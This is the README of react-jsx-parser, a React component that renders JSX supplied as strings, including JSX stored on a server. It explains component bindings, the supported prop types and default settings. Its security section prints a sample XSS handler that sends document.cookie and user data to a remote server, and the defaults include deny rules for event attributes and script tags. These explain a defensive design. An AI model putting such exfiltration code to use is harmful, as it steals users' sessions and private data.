react-jsx-parser

A React component which can parse JSX and output rendered React Components.
Basic Usage - Injecting JSX as a String
import React from 'react'
import JsxParser from 'react-jsx-parser'
import Library from 'some-library-of-components'
class InjectableComponent extends Component {
static defaultProps = {
eventHandler: () => {}
}
}
const MyComponent = () => (
<JsxParser
bindings={{
foo: 'bar',
myEventHandler: () => { /* ... do stuff ... */ },
}}
components={{ InjectableComponent, Library }}
jsx={`
<h1>Header</h1>
<InjectableComponent eventHandler={myEventHandler} truthyProp />
<Library.SomeComponent someProp={foo} calc={1 + 1} stringProp="foo" />
`}
/>
)
Because InjectableComponent
is passed into the JsxParser.props.components
prop, it is treated as a known element
type, and created using React.createElement(...)
when parsed out of the JSX. You can also pass in a whole collection
of components, as shown by the Library
binding, and then access the individual items with LibraryName.ComponentName
.
Finally, a note about property bindings. The JsxParser
can handle several types of binding:
- implicit
true
bindings, such as <InjectableComponent truthyProp />
(equivalent to truthyProp={true}
) - string-value binding, such as
stringProp="foo"
- expression-binding, such as
calc={1 + 1}
- named-value binding, such as
eventHandler={myEventHandler}
(note that this requires a match in bindings
)
The component does not support inline function declarations, such as:
onClick={function (event) { /* do stuff */ }}
, oronKeyPress={event => { /* do stuff */}}
This is to prevent inadvertent XSS attack vectors. Since the primary use of this component is to allow JSX to be stored server-side, and then late-interpreted at the client-side, this restriction prevents a malicious user from stealing info by executing a situation like:
<JsxParser
bindings={{ userInfo: { private: 'data' } }}
onClick={() => {
fetch('/some/remote/server', {
body: JSON.stringify({ cookies: document.cookie, userInfo })
})
}}
/>
Advanced Usage - Injecting Dynamic JSX
import { ComponentA, ComponentB } from 'somePackage/Components'
import ComponentC from 'somePackage/ComponentC'
import ComponentD from 'somePackage/ComponentD'
...
const dynamicHtml = loadRemoteData()
...
<JsxParser
bindings={bindings}
components={{ ComponentA, ComponentB, ComponentC, ComponentD }}
jsx={dynamicHtml}
/>
Any ComponentA
, ComponentB
, ComponentC
or ComponentD
tags in the dynamically loaded XML/HTML fragment will be rendered as React components. Any unrecognized tags will be handled by React
.
Note: Non-standard tags may throw errors and warnings, but will typically be rendered in a reasonable way.
PropTypes / Settings
JsxParser.defaultProps = {
allowUnknownElements: true,
bindings: {},
blacklistedAttrs: [/^on.+/i],
blacklistedTags: ['script'],
className: '',
components: {},
componentsOnly: false,
disableFragments: false,
disableKeyGeneration: false,
jsx: '',
onError: () => {},
showWarnings: false,
renderError: undefined,
renderInWrapper: true,
renderUnrecognized: tagName => null,
}
Older Browser Support
If your application needs to support older browsers, like IE11
, import from react-jsx-parser/dist/es5/react-jsx-parser.min.js
,
which transpiles the acorn-jsx
dependency down to ES5, and also adds additional polyfill support for code used in this package.
Note: not recommended for implementations which only support modern browsers, as the ES5 version is roughly 30% larger.